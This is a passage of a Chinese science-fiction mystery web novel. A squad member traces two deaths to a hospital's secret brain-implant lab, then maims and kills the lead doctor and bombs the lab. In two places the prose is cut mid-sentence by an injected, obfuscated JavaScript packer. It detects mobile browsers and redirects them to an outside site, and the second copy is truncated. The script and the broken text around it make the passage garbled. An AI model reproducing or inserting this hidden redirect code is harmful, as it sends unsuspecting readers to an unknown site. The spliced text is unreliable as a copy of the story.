颜惜她们先走到了本楼层的对应区域，再坐升降梯到地下七层。 升降梯的大门一打开，巨大的音响正在外放着潮流土嗨音乐，搭配着喧嚣的人声，震得颜惜的胸腔都在嗡鸣。颜惜想捂着耳朵，然后又是一道七彩的灯球反射的虹光扫过来，这下子颜惜的眼睛也开始痛了。四周还有一堆老烟鬼不顾周遭人的死活，人手点燃了一支烟在那抽，烟头明明灭灭的红点在七彩的光里依旧很明显。二手烟猛得灌进颜惜的肺里，呛得颜惜咳了好久。 还没等她适应环境，人群里突然爆发出一声惊呼： “有人死了！！！” 28. 升官妙招 这句大喊声传来，瞬间，整个原先人声喧嚣的区域瞬间安静。 不知是谁甚至默默把放着动感音乐的音响关掉了，巨大的关音响时刺耳的尖锐声音刺得人脑袋生疼。 “是谁说的有人死了？”颜惜先反应了过来，往前走了几步，而后朝着喊叫声源头看了过来。她迅速地按下了支援键，示意第七层那边的警局派安保人员过来。而后她的队员跟在她身后，亮出她们的军部预备役的工牌。人群见到是军部的工牌，稍微退让了几步，宿塘这才在周围拉上了警戒线，同时卡捷琳娜试图去疏散人群。 此时距离她们和上一组的换班时间还有十五分钟，但颜惜既然都到这儿了，还是决定先由她们处理。 “是我。”墙角里有个人招了招手。颜惜拨开人群向他走去，宿塘和卡捷琳娜跟在她的身后。 颜惜看到了那个人，是个一脸麻子的中年瘦小男性，他旁边还有个瘫在地上双手抱臂正在瑟瑟发抖的中年健硕男性。 “你在哪里发现的？”颜惜刚想问，就看到他们身后幽深的箱子里，有一个衣不蔽体的流浪汉瘫在地上，旁边有着一个碎掉的酒瓶。巷道很黑，但还没到伸手不见五指的地步，颜惜夜视能力不错，看见那个流浪汉的手指无力地垂到了巷子的污水沟里，旁边的青苔很茂盛，看起来很适应这种阴凉潮湿的氛围，隐隐约约似乎还有水滴滴落在地上的声音。 “你们什么时候发现他的？”颜惜迅速地改口，一边看着这两个人，在巷子口细细打量周边的环境。 第七区这边由于是娱乐区，营业时间几乎都是24小时，不管白天还是夜晚，周遭全都亮如白昼，前门几乎都有监控设施，而这里恰巧处于一条餐饮街的后巷区域，位于监控死角，无法通过监控查看具体情况。油烟气味和带着附在水面上五彩斑斓的油污混在一起，在下水沟旁缓缓流动着，从流浪汉的手指边缓缓让开。 “就，就刚刚。”那个瘦子见她们是军部的，面露怯懦，似乎是有些害怕被误认为是凶手，“是，是他发现的。” 他手指着身边那个坐在地上打哆嗦的人。颜惜的目光转向那个人，只听到那个人似乎是被吓怕了，不住地在嘴里喃喃地念叨着什么。 颜惜没再继续等他说话，示意队友接手安抚他们的任务，自己走上前，蹲在了那个流浪汉的身边。 那个人是趴在地上的，颜惜将手指放到他的鼻下，确认他已经没有了呼吸。 “如何？”卡捷琳娜还在巷口，试图从那个真正的目击者口中问出些什么，宿塘先走了进来，蹲在一旁询问颜惜。 颜惜摇了摇头：“死得透透的。身体都凉了，少说也在这儿躺了三四个小时了。” 宿塘没直接接触尸体，而是仔仔细细上下打量了一番遗体，而后开口道：“没看到身上有什么致命伤口。” 颜惜点点头。这个流浪汉和所有城市中能见到的流浪汉一样，填满污垢的皮肤沟壑，油污打结的头发，指节肿大的手指和黢黑的皮肤。但是除了他身上一些细小的很显然是生活中不小心磕碰的伤口，并未有其他的致命伤。 “警局的人什么时候回来？”颜惜问，“这应该不是寻衅斗殴这种恶性事件，看上去也不像是自裁，需要法医进行尸检，确认真正死因。” 宿塘看了眼光脑。上面警局发来的支援小红点正在逼近。 “还有一公里。”宿塘嘟哝道，“怎么这么慢？第七层的警局效率这么低？距离我们发出报警时间已经十五分钟了。按理来说，就是坐飞的也该到了。” 颜惜没说话。她的目光忽然落到了流浪汉的后脑勺，那里有一道看上去早已愈合的刀疤。 警局城内交通一般使用特制警车，这种车辆体积小，时速高，提速快，可以保证十五分钟内到达所有区域，而事发地到警局不过三公里，所以宿塘才会抱怨。 警车的鸣笛声不过一会儿便响了起来。 一队戴着警用护目镜的警察从车上走了下来，脸色都不算特别好。卡捷琳娜给他们引路。 “发生什么了？”宿塘问他们，显然她不是第一次和地下基地里的警方打交道。 “死了。”其中一个明显和宿塘认识，将手覆到宿塘耳边，压低声音说道，“第七层的那位……”说着，他拿手指了指天，“就今天，他在自己的办公室里，突然没了声音，助手发现的时候人都已经僵了，但是身上根本没有伤痕，也排除了自裁的可能性，送去给法医尸检，检测情况出来了，也不是任何药物滥用或者是食物导致的死亡。他本人在此前没有甚至任何基础疾病，身体好的很。” 颜惜在一边听着，皱起了眉。第七层的最大负责人突然暴毙？如果颜惜没有记错，这人是林璀手下的激进派，天天主张军部应该扩军，同时把之前让渡给星球其他势力的管理权收回，同时他还主张严格管控精神类药物，要杜绝任何药物滥用，主张严厉打击地下的军火生意，推行主张只有军部才有权力出售武器。再结合林璀之前说的，基地内部有人试图在这个基地内发动政变，这让颜惜很难不怀疑这是一场蓄意谋杀。 “那能不能也尽快把这位，”颜惜站了起来，很客气地说，指着地上的尸体，“我怀疑，他也是类似的原因。” 那些警察见她是新来的人，很面生，倒是也没有敷衍。颜惜估计是这事情太大了，优先级被不断提高，任何有关的线索和相关的人事物都被拉到最前面。但他们心里依旧觉得一个流浪汉和领导人搭不上任何的关系，到了最后估计又是巧合一场。 “有了消息请记得给我们一个回执。”颜惜说道，目送着对方在答应后抬着尸体上了车，留下来其中几个保护现场。 *** 颜惜和她的小队继续执行日常任务，在被划分好的区域里巡逻了一圈。一上午马上过去，到了午休时间。颜惜她们一边蹲在墙角喝营养液，一边啃压缩饼干，趁着休息间隙聊了聊。 “第七区的领导人怎么会这么突然？”宿塘偷摸着压低声音和她们八卦道，“现在消息还没流出去，也不知道民众知道了以后会不会出事情，之前第七区可是严格管控，除了我们巡逻的这几块拉动经济的特赦地区，其他居民区可是有着严格的宵禁的。这一下子突然出事，也不知道会不会乱。” “不会的。”颜惜吃饭的动作一直很慢，而在这种需要啃干巴的饼干的情况尤甚，“林璀中将肯定会继续提拔一个同样管控严格的人来第七区当头头的。” “不怕再被暗杀？”卡捷琳娜已经几口解决完了她们的“午饭”，此时正将包装袋四四方方地折叠起来，塞进作战服的侧边口袋里。 “权力面前，性命又如何。”颜惜漫不经心地弹开压缩饼干上的一些碎屑，“富贵险中求。” 宿塘没说话。 就在此时，警局的通讯铃突然响了起来，三个人很同步地迅速拿起传呼机并接通。 “检测结果报告出来了。”其中一个人说道，“你说对了，这个流浪汉确实是和第七层的领导人死因一致的。” “都死于脑死亡。” *** “脑死亡啊。”颜惜站在警局里，手里是两份报告，一份属于颜惜她们发现的流浪汉，另一份则属于第七层的领导人。 第七层领导人的暴毙目前还属于不可对外透露的机密，本来她们是没资格来警局参与这次的事件后续的，但两个人的死因一致，且—— “死亡时间，目前判断来看，两人都死于前一天的午夜十二点。”颜惜念了出来。 前一天的这个时候领导人正在加班，大楼里只有他本人和站在他办公室外的保镖，在没有雇主的许可下不被允许进入办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474421|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公室，因而等到第二天早上行政部门八点准时上班，他的助理找他报备事件，敲门不应，这才破门发现了他已经去世。 而流浪汉则是醉倒在了那里，周遭的人以为只是睡着了，纷纷绕开他，直到今天早上两位目击人来娱乐区找乐子，在巷子里发现了流浪汉，还踢了他一脚，这才发现不对劲，大叫一声后这才引来了正好巡逻换班的颜惜她们。警局查了他的生物信息，发现他是一直游荡在第七层的一个五十三岁的无业游民，有过轻微犯罪记录，系寻衅滋事，打架斗殴以致对方残疾，不过后来因为这个事件被定性为互殴，且流浪汉伤势严重，在逮捕先接受了治疗再进行服刑，出来后一直没找到正经工作，之后就一直流浪谋生。 这些就是警局那些人调查出来的结果。 颜惜放下卷宗，继续看了看尸检报告。 上面显示这两人都是死于脑神经被切断后引起的脑阻塞，最后引发了脑死亡。 颜惜对比了一下两人的脑部x光片，发现两人被切断的脑神经位置都相似相仿。 “这是怎么回事？”颜惜指了出来，问法医道，“要怎样的武器才能不在大脑表皮留下任何伤痕，但却在颅内做出两个完全一样的，只损伤脑神经的伤口？” 法医显然也发现了这件事情的离谱之处。 她沉声对着颜惜开口道：“问题是，我们目前任何市面上流通的武器能达到这样的伤害效果。” “费海和这个流浪汉死于同一种原因。”颜惜笃定地说，引来了周围一群人的目光。 忽然一阵喧嚣。 “中将来了！”身后突然有一群人走了过来，簇拥着林璀走到了停尸房两具被解剖的身体前。 颜惜退后了几步，让出了身位。 “费海去世了？”林璀低头询问身边的人，得到了肯定的结果后，目光冷肃了下来。她双手放在胸.前，默哀了三十秒，而后向后转身，目光扫向在场的所有人。 “既然已经派出了自杀因素，那么这就是一场政治暗杀。”林璀神色严肃，“我需要一个合理的解释。” 她几句话就给这次事件定了性，她的目光扫过在场的所有人，落在了在角落里瑟瑟发抖的地下基地总警局局长身上，对方忙连连点头，不断称是。 林璀说完这些，丢下一群人直接就离开了，一眼都没有多给这群人。 局长擦着脑门上的汗，被林璀下了面子，他不好对别人发作，只好对着身边的助手大发雷霆：“赶紧去做事啊！呆在这儿做什么？” 宿塘偷偷给颜惜科普道：“在外面虽然都说警署是和军部平级的，但在我们北部地区，特别是基地内部，他们做什么都要上报给我们军部，局长撤不撤职也是军部说了算的。” “是谁先提出来流浪汉和费海的死因一样的？”局长终于擦完了脑袋上的汗，放下捏着帕子的手，四顾了一圈。 “是我。”颜惜等都无人应答以后这才站了出来说道。 宿塘在她身后拽了拽她的袖子，颜惜在身后摆摆手示意她别担心。 “为什么这么说？”局长走过来看着她。 “我看报告里说，费海之前做过脑部肿瘤手术。”颜惜指了指手里的尸检报告，“他的后脑勺位置有着一个切口。” “而我们小队发现的那个流浪汉，他后脑也有一个术后伤疤。根据他那次严重的打架斗殴后受伤显示，他伤在了后脑勺，玻璃插入了他的大脑，于是警署先带他去往科致医院医治，而那段时间，恰好也是那家医院，费海也在那里进行了脑部肿瘤手术的切除。”颜惜说道，“我怀疑，是科致医院里脑科的手术的问题。” 局长看了她一眼，大手一挥，指着颜惜说道：“你来持续跟进这次事件，有结果了以后直接对我汇报。我给你警督的可供调配手下的通行卡。” 29. 科致医院 “你真打算接这个烫手山芋？”等人走的差不多了以后，卡捷琳娜和宿塘才走到角落里扯着颜惜问道。 “不是说表现好哪怕不能成功在军部里转正，也能退而求其次，搞到个警局里的差事嘛。”颜惜摆了摆手。 “而且就跑一趟医院的事，如果真能找到什么线索，那更好，找不到，之后只要跟上头的负责人夸大其词，说说自己有多努力，但是事与愿违，也怪不到咱们头上。再说了，能成功暗杀第七层领导人的人藏得这么严实，哪能被我们这种小角色找到呢。被林璀压力的是警局局长，又不是我，再怎么怪罪也怪不到我们头上。”颜惜歪理一大堆，说的倒是轻快。 三人乘坐升降梯到达地下五层的医疗区。这边有专属的医疗与康复机构，全帝国最有名的那几个药业企业、医疗公司几乎都入驻了这一层。第五层分为三个部分，一部分是制药工厂，另一部分则是康复中心和各种疗养院，最后剩下的是一所大型的各个公司联合开办的医院——科致医院，包含了所有科室和部门，是帝国北部医资力量最雄厚的医院，专治各种疑难杂症。 升降梯到达的区域是康复区，附近刚巧是一个温泉康复中心，做成了山庄的样式，颜惜很真心实意地惊叹了一声，然后被无情拉走。 “那里都是达官贵人住的啦。”宿塘偷偷给她科普道，“据说嗷，入住一年，单单床位费都要几十万星币，这还不包括理疗费用呢！” 三人排着队刷自己的身份牌进站，登上了地下的悬浮轨站台，前往医疗区。 “这一层倒是又安静又素净又干净。”颜惜每到一个地方坐公交都喜欢扒着窗户往外看。 “医疗楼层嘛。”宿塘是这里的原住民，对地下区域的了解比颜惜和卡捷琳娜都要多，“而且这层算是对外开放招商引资的，我们地下基地很大一部分的经济来源都是这些药企和医疗公司，这不得把门面装的好看点。” “康特家有没有在这里开设分部？”颜惜想到了，顺口问道，“康特也在全帝国药企里排得上前十了吧？” “当然有啊。”宿塘说，“他们不是专精基因和克隆领域的嘛！之前还想插手精神力领域，结果出了那个大事故，灰溜溜地老老实实回到舒适区了嘛，这几年听说他们的克隆技术有很大的发展，股价上升了不少呢。” “喏！”悬浮车恰好飞到了科致医院上方，宿塘示意她往下看，“下面的就是整个医疗区。全部由科致医院组成。” 下方的建筑像是蜂巢，由无数个平铺的小小的六边形小建筑组成，所有建筑外壳都是银白色，在人造光下泛着银色的光泽。悬浮轨的时速绝对不低，饶是这样，从医院的这头到那头，也开了大约五分钟。 “这么大？”颜惜咋舌，“这得调查到猴年马月？” 宿塘白她一眼：“所以说啊，当时问你为什么接着这烂摊子，你还说没事。” 颜惜摸摸鼻子。 “没关系，”她复又燃起雄心壮志，“只要找到脑科部分——识破这桩悬案，我就可以在军部一路高升。” “下车了。”卡捷琳娜无情地打断她的畅想。“想的很好，但你先别想，别还没高升先坐过站了。” 三人在科致医院的正大门下车，七绕八绕，终于走到了专属脑科的那栋楼。 “我去后面。”颜惜不知道看到了什么，突然把手里的那份调令塞给她们两人，“你们拿着局长给的这个，说是要去脑科调查，我往后面看看有没有小路。” “等等！”宿塘真是服了她这个没有规划、想一出是一出，天天临时安排的小队长了。 “名目张胆地查确实查不出什么。”卡捷琳娜拉住了她，“书河是对的，她去暗地里查，我们帮她吸引别人注意力。科致肯定没有那么简单。” 两人直接走进正门，拿出手里的调令，高声道：“申请调查！” *** 颜惜看着自己那俩好队友走进了医院正门，一群人围了上去，这才从急诊那边的侧门溜了进去。 她扯下系在胸口的身份卡，塞进自己的兜里，一边偷偷摸摸地往医院的后台靠。 她装作是拿药的病人，靠近了护士台。 只听见其中一个护士附在另一个看上去像是护士长的耳旁说了声什么，那个大约是护士长的人急急忙忙地朝宿塘她们那边的前台跑去。 颜惜听力好，在此刻发挥了巨大的作用。 那个护士说：“有人来查了，柯医生说让您先带她们四处查查，他下去紧急确认实验室里的情况。” 实验室。颜惜听完眯了眯眼。听这话，颜惜确认了她猜得没错，科致医院还真有情况。 颜惜没犹豫，一边注意着周围的情况，一边跟上了这个护士。 科致医院是蜂巢型，连廊很多，七绕八绕，如果不是颜惜眼前有着这个护士当目标，恐怕她一辈子也绕不明白这个路到底该怎么走。 大约走了十五分钟，周围走廊上的医生护士和病人都逐渐消失了，隐匿也不太好做，颜惜只好一边避开监控死角，艰难地贴着柱子快速前进。 继续前行了大约十分钟，周遭一个人也没有了。 那个护士也停下了脚步，警惕地往四周看了看，最后停在了一座电梯前。 这里是一整个空旷的电梯前的平台，颜惜很难藏，于是她起跳，指尖掐住墙壁上的小缝隙，直接跳到了旁边消防通道里，再顺着裸.露在外的管道往上爬，最后爬上了天花板的夹层里。 电梯井外面栽种着一整片茂密的竹林，颜惜心念一动，索性安静地顺着夹层往外爬。爬到了尽头，有着一个关着的风扇，颜惜拿出随声带着的匕首，撬了几下，没撬动，眼见那个护士开始摁电梯键了，她有几分着急，直接把精神力灌进匕首里，再抵着边缘一个用力，终于把风扇四周焊接着的铁皮撬开了。 颜惜快速地爬到了外面，后背贴着电梯通风井的另一侧。这里的通风井是不透明的，恰好又是视觉死角，又能听到电梯里发生了什么。 电梯很快就到了，里面似乎有人，颜惜听见那个护士很焦急又很尊敬地朝里面唤了一声：“柯博士！” “没事。”一个男声传来，“那群人估计是因为费海的死才查过来的。没想到他们还挺敏锐，仅凭费海的手术就查到这里。不过别担心，我猜他们也拿不出证据，因此只是来这里碰碰运气罢了。” “可是，”那个护士说道，“他们似乎是得到了林璀的授意，还拿着警局的最高调令，我们不能违抗他们想要检查的任何决定，她们想去哪里看就能去哪里看。” “别急。”那个男声说道，“让她们看吧，她们再怎么样也找不到我们现在的地方以及地底的实验室，她们再怎么查也只能是无功而返。怪只怪那群人当初在费海身上动手脚，结果收尾还没收干净，这才有今天的小麻烦。不过也不必过于担心，因为我们科致，建立的目的之一，就是为今天这样的突发.情况打掩护的。” “不过防范之心还是要有，你随我下去检查一下，顺便删掉点相关的东西，那边的人一有新的动向，你就要向我汇报。” 那个护士在这个“柯博士”的授意下也走进了电梯里。 “宋书，”在电梯门合上前，颜惜听到那个柯博士用温和带笑的语气问电梯里的另一个人道，“你最新的那个人脑控制系统研究又有什么新突破？” 电梯阖上了门，开始缓缓往地下行驶。颜惜见所有人全部离开，直接用匕首沿着电梯井的外表缝隙一刮，从室外的死角撬开了电梯井的一角铁皮，钻进了电梯井里。 “幸亏当时我机智，摸了一把匕首来。”颜惜满意地把那块铁皮按照原样放了回去。 跳电梯井这种事情，一回生二回熟。颜惜之前在辐射赛场的船上跳过废弃的电梯井。不过跳还在使用、尤其是正在向下行驶的电梯，那还真是第一次。她双手抓着电梯揽绳，而后纵身一跃，轻轻的落到了轿厢上。 “你有没有听到什么声音？”轿厢里，柯博士听到一声细微的异响，突然问道。 “没有吧。”宋书发话了，她斜靠在轿厢的一侧墙壁上，声音轻轻柔柔的，很是好听，“您听错了吧。” 那个护士刚想说她好像也听到了上方有什么声音，但是宋书都这样发话了，她也不好再多嘴。 三人随便聊着一些话题，中间间歇地沉默片刻，不过一会儿就到达了最底层。 电梯厢门打开，映入眼帘的是一整片的白色，白色的仪器，白色的墙壁，穿着白色保护罩的零星几个机器人，正在来来往往运送材料的白色运送机。 这三个人走进这个纯白的实验室里，像是一张白纸上极其显眼的黑色污渍。 “柯博士！”一走到这里，那个护士的传呼机就响了，“护士长说，那两个警局来的调察员说是想见一见我们脑科总的负责人。那我该如何回复？” “真是一群烦人的苍蝇。”那个柯博士厌恶地皱起了眉，“嗡嗡嗡地，一天天地就知道烦人，只完成自己分内的事不就成了？非要来试探来试探去，做得再多也是无用功。” “宋书！”柯博士对着身边那个神色波澜不惊的女人说道，“你知道所有实验数据储存在哪里的，你帮我看看有没有任何的漏洞和漏网之鱼，有的话就把它们拷贝后全部删掉，我先去应付那群烦人的督察。” 宋书淡然地点点头：“好的，博士，您去吧。” 柯博士和护士转身乘着电梯向上行去。 四周空荡荡的，除了实验室里的机械摩擦地板的声音，再也没有别的杂音。 宋书站在原地，朝着某个方向看了眼，顿了片刻。 而后她也没管身 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上面是触控屏幕，颜惜手贱地点了点，这次她是真没有解锁密码了，只是单纯地想试试，触控屏亮了起来，上面显示已经是解锁状态。 颜惜手指顿了顿，指尖曲了曲，但还是点了下去。 她直接在所有被使用者的名录里输入费海和那个流浪汉的名字曾邢。 页面很快就跳转到了他们两人的记录上。上面显示两人几乎是先后使用过这台脑机。 脑机一开始是用来给脑部受损的患者用来刺激脑神经活跃程度的，这是颜惜之前了解的脑机的通用功能，这上面显示费海和曾邢所接受的也是这种轻微刺激大脑神经的康复手段。 但这台脑机显然与颜惜之前在其他地方见到的那些基础类的脑机长相大不相同。 颜惜没放弃，不断地在这台触控屏上试图切后台或是找到什么不同，果不其然她在犄角旮旯里找到了一个加密文件。 不知道是不是因为那位柯博士本来打算来删掉这些东西，这个加密文件此时也处于打开状态。 颜惜往里面扫了一眼，目光就凝住了。 “复兴历第792年，特级脑机正式投入使用，已为两位实验对象植入底层逻辑，当实验对象违反底层逻辑时，将出发斩杀行为。” “注意，底层逻辑由开发者掌控，平时可隐藏，两位术后患者反应并不知情，实验第一次成功。” “将对两位患者进行后续监视，确保生命体征稳定，思□□定，大脑活跃度稳定。” “标注：由于开始的两位实验者使用脑机时间过近，脑机使用者弄混了费海实验者和曾邢实验者的身份。标注：且两位实验者的底层逻辑代码未做区分，如果开发者想要修改底层逻辑程序，可能会引发两人同时死亡。” “开发者标注：费海是军部重要人士，可于他彻底脱离掌控的时间开启斩杀底层逻辑程序。为防止和他同样拥有底层逻辑程序代码的曾邢同时死亡被发现异常，后续监视小队可引导曾邢销除合法身份，成为黑户，以避免被监察。” 标注寥寥几句，到此结束。颜惜跳出这篇使用记录，看向其他人。 后面那个开发者以及后续的实验人员似乎是越来越熟练，给其他不同的人安排了不同是底层逻辑程序代码，颜惜粗略地扫了几眼，发现了许多本来是坚定地站在军部一方的人，如今态度却摇摆暧昧，颜惜甚至看到了好几位顾嘉时代的军部遗老的名字。 “原来如此。”颜惜皮笑肉不笑地扯了扯嘴角，迅速地将这些东西拷贝到自己的光脑一侧的芯片里。 这些怕死的都被拉拢了，不怕死的都被杀掉了。怪不得这几年某些高层的猝死率高的吓人，费海显然是后者，要不是那个流浪汉曾邢碰到的是颜惜，谁又能想得到让他也做一个尸检，于是费海的死还真就被定性为突发的猝死了。 颜惜冷笑一声，没再留在这里，拿上传输完成的芯片，塞回自己的光脑里，转身就按照原路返回。 还没走几步，突然听到外边传来一阵嘈杂的人声，与此同时警铃大作，整个实验室里顿时闪满了红光——有人从实验室门口进来了！ 此时出去显然已经来不及了，颜惜望着周围都是红色警戒灯的实验室，耳边刺耳的警铃越来越大声，刺得她耳膜生疼。 这种实验室一般触发警报后甚至会启用红外射线，万一一个没整好，甚至要被切成好几段。 颜惜惜命，显然不可能主动去冒这个险，她环顾四周，望了一眼，迅速地打开了立在一旁的资料柜柜门，躲了进去。 外边脚步声嘈杂不堪，间杂着好几个人的怒吼，听得出那些人很是生气。 “实验体跑了？你们都是吃白饭的？这都看管不住？快去给我找！找不到的话，你们留下来给我当实验体！” 30. 但你来了 颜惜心里思忖着怎么不管到哪实验室里都在偷跑实验体，含宁实验室也跑，这个科致医院地下的实验室也跑。下一秒，她所在的房间外传来一阵嘈杂的脚步声。 “柯博士！抓到了！他没跑出去！”声音带着欣喜，显然是为自己不必成为接替的实验体而高兴。 颜惜暗道糟糕，没想到这个实验体这么不给力，现在这一遭把所有本来在地表的人全都拉了回来，实验体还找到了，派出去搜寻的人马上将回到地下，现在进退两难的成了颜惜。 警报声逐渐弱了下去。安定的脚步声越来越靠近。 “把他拉到s-01实验室来。”那个柯博士的声音很是冷酷，“既然这么想逃，那就让他体验一下脑机的彻底接入是什么感觉。” “博士。”宋书的声音在一边响了起来，“脑机是主理人那边分发下来，仅供用于植入大脑底层逻辑代码的，您这样用于私刑显然违反了主理人她的意愿和规定。” “你不说，我不说，又有谁能知道呢？”那位柯博士的声音阴恻恻的，“我最讨厌这种妄图反抗还自以为是个硬骨头的东西。” “小林！”柯博士喊着押送着那个没能逃脱成功的实验体的护士，“把他给我拉过来！” 颜惜透过柜门的缝隙看着外面几人的一举一动。 很显然她现在所在的这个放置着脑机的房间就是柯博士口中的s-01，而这间房间的机密程度显然要明显高于其他实验室。片刻之后，所有人都散去，只有宋书、柯博士、那个实验体和那个押送着他的小林护士。 “关上门。”柯博士拉过一条线来，扯到跟前，将上面的接口戳进那个实验体的脸颊肉里。而后他开启了某个开关。 似乎有呲啦啦的电流声从那条线里传来，一路传导到那个人的脸颊上。 那个实验体被电得一激灵。整个人止不住地颤抖起来，到最后抽搐不止。 颜惜见他穿着的蓝白色病号服在抽搐中散了开来，露出了包着一层皮的根根分明的肋骨。他的头发很长，似乎是很多天没有洗，全部凝结成了一条条，而在刚才的逃跑过程中沾上了泥土。这人的五官看上去就不像是个好惹的，可惜再怎么坚毅的精神都敌不过羸弱的□□。 “你也出去。”柯博士见这个实验体失去了反抗能力，对着护士撇撇头，示意她松开手。 护士恭敬地退了出去。 “要不是看在你还有点用处的份上，谁还能留你到现在呢。”柯博士轻蔑地俯视着趴在地上渐渐停止抽搐的实验体，“倒是个硬骨头，可惜有什么用处？你当年侥幸晚了她们一步没进那个跃迁点，结局也没比她们好到哪里去。” 言毕，他一把抓住这个人，把他往那台脑机前拖上去。宋书站在一旁，并没有帮忙。柯博士看了她一眼，倒是没生气，反而笑道：“你还真是傲气，从主理人那边出来的少年天才就是不一样。” 那个实验体似乎在这过程中还想要反抗，但是反而被柯博士一脚踹倒。 柯博士看着趴在地上的人冷笑一声：“真没用啊，还不如像那群废物一样，死了干净。” “你不愿意说顾嘉的最终调令的密钥藏在哪里，倒是一条忠心的好狗，可惜了，现在倒是也没关系了，只要给你植入一个底层逻辑程序代码，你就能乖乖听话。” “柯博士。”宋书声音带了一丝不易察觉的冷意，“我再提醒您一次，主理人不允许您私自植入大脑底层逻辑程序代码。没有在主理人名单上的无关人员都被禁止植入。” “出去。”柯博士似乎也被她的不知变通给整烦了，他摆了摆手，似乎像在赶走一只烦人的一直绕着他周身飞的蚊虫。 “只要你不说，又有谁会知道呢？”他语气柔和下来，似乎是一个正在谆谆教诲年轻的不懂事的后辈的长者，“小宋，你要知道，人没有师长和朋友，一味地固执己见，守着陈规戒律，是走不远的。” 宋书显然还想要阻止他，但柯博士的动作十分之快，不等宋书来得及动作就已经将那个实验体固定在了脑机座位上。 他左手想要去摁那个脑机的启动键，就在这瞬间，他余光里似乎有着一道白光闪过。 下一秒，鲜血喷涌而出，迟来的剧痛在一瞬间侵袭而来，他一把捂着自己已经被砍断的左手，放声尖叫出声。 颜惜站在他的面前，目光冷冷，居高临下地看着他，像是在看一条乱咬人的狗。 “你是谁！”倒在地上的柯博士冷汗流了满脸，咬着牙看向眼前他根本不认识的黑发少女。 颜惜不回答，只是慢悠悠地绕着他，转了一圈。 柯博士反应不慢，他忍者剧痛，右手偷偷默默往身后的警报器摸去。 下一秒，又是一道白光，他的右手也被直接砍了下来。 “忘了说了，”颜惜蹲了下来，拿着他的白大褂把匕首上的血迹慢悠悠地擦干净，“我脾气很好的，一般不爱动手，但你这种爱小偷小摸的除外。” 这件实验室的隔音程度十分优良，同时机密性也高，此时柯博士双手皆断，他精心打造的天堂此刻成为了反噬到他自己身上的恶果。 “柯博士似乎很喜欢把别人送上脑机。”颜惜把注入了匕首里的精神力撤了出来，把匕首插回自己的腰间，伸手把原来被束缚带绑在脑机实验床上的那个人放了下来，反手将地上的柯博士拉了上去。 “那不如，我也让柯博士体验一下，柯博士您最满意的、也最爱做的脑机实验？”颜惜嘴角咧开，一只手摁住柯博士正在蠕动的身躯，一只手将所有束缚带系上。 “宋书！宋书！”柯博士在实验床上还在叫唤，试图让宋书来拯救自己。 没料到宋书转头没看他，反而固定好了脑机接口，直接打开了脑机的启动开关。 同频脑电波迅速地和柯博士的脑电波发生共振，而后接入他的大脑。他的所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你带他先走。”颜惜对宋书说，“我来处理后续的事。你来科致比我时间长，应该知道那条路可以走，你先带他出去治疗，之后我找到机会会来跟你们会合。” “那你呢？”宋书担忧地看了她一眼，“你不会有危险吧？” “我没事。”颜惜看向脑机上逐渐失去气息的柯博士，迅速地将脑机上内容拷贝到光脑中。 宋书很快就带着程和安撤离了，离开实验室前，她回头深深地看了一眼颜惜。 “其实如果你没来，我也会想办法带程和安离开的。我可能会给柯博士扎上一针，也可能会放火烧掉这一整个实验室，然后偷偷摸摸的带走程和安。”宋书说，“但是你来了。” “怎么？”颜惜这下终于真心实意地笑了，“嫌我阻挡了你英雄救美的机会？” 宋书摇摇头。她也笑了起来。 “你来了，对我们来说，就很好了。” 31. 幕后黑手 周遭渐渐归于宁静。 颜惜直接拖着柯博士的尸体，找到了实验室角落里强腐蚀性的罐子，将人塞了进去。外面的实验人员和护士早就被宋书给支开了，此时整个实验室静悄悄的，只有柯博士的遗骸在墙角强酸腐蚀液里发出的滋滋声。 颜惜找出宋书藏在她的办公桌保险柜里的炸药，放置在脑机的附近，确保爆炸以后能彻底把这台脑机摧毁。 颜惜将引爆时间调节到五分钟之后，而后转身向外走去，比来的时候要多了几分从容。 颜惜乘坐电梯往上，在一楼找到了拉着护士长问东问西的宿塘和卡捷琳娜，甩了她们一个眼神，而后先行窜出了科致医院。 没过一会儿，两人也溜了出来。三个人慢慢悠悠地往站台那边走。 “调查出什么来了？”宿塘看着颜惜，问道。 “别急。”颜惜打着响指，语调轻快，“三，二，一——” “boom！” 伴随着她故意拉长的尾音，身后的医院剧烈地震荡了一下，脑科部门上方的震感尤其明显，下方隐隐约约还冒出了火光，所有惊慌失措的惊呼全都被甩在了身后。 宿塘目瞪口呆：“不是，姐妹，你炸医院啊！” “不用担心。”颜惜头也不回地继续往前走，“我放炸弹的手法很讲究，只会把最底下那层炸塌，只要医院不要自己作死，上层不会有人员伤亡的。” “拿到想要的东西了？”卡捷琳娜见她自信的样子，问道。 “拿到了。”颜惜手里捏着从实验室里搜出来的试验记录报告，她当时在底层实验室里找到了这个，复印了一份，打算直接交给林璀。 三人乘坐着升降梯回到她们负责的第七层找那位警局局长。 局长见颜惜手里捏着一沓材料，伸手就要接过来。 颜惜避开了他的手：“我要见林璀。” 局长的脸色阴了下来，他带着威吓的口吻开口：“书河？是吧？新人军部预备役？看起来你是找到点有用的东西了？我知道你们这些急功近利的年轻人，做出了一点小成就，就真以为自己找到了什么惊天动地的大发现，迫不及待想要向上头邀功，但没用的。” “你连我这关都过不了，更别说见林璀将军了。”他轻蔑地看着颜惜，“你又算哪根葱？” 显而易见，这位警局总长打个巴掌再给颗甜枣的手段已经被他用的很熟练了。 他复又开口，这次语气倒是循循善诱：“小书啊，你年轻，这种心理我也理解，这样，你把这份找到的材料给我，我一定会递交给林璀将军，然后在她面前对你美言几句，总能让你成功转正的，你看这样行不？” 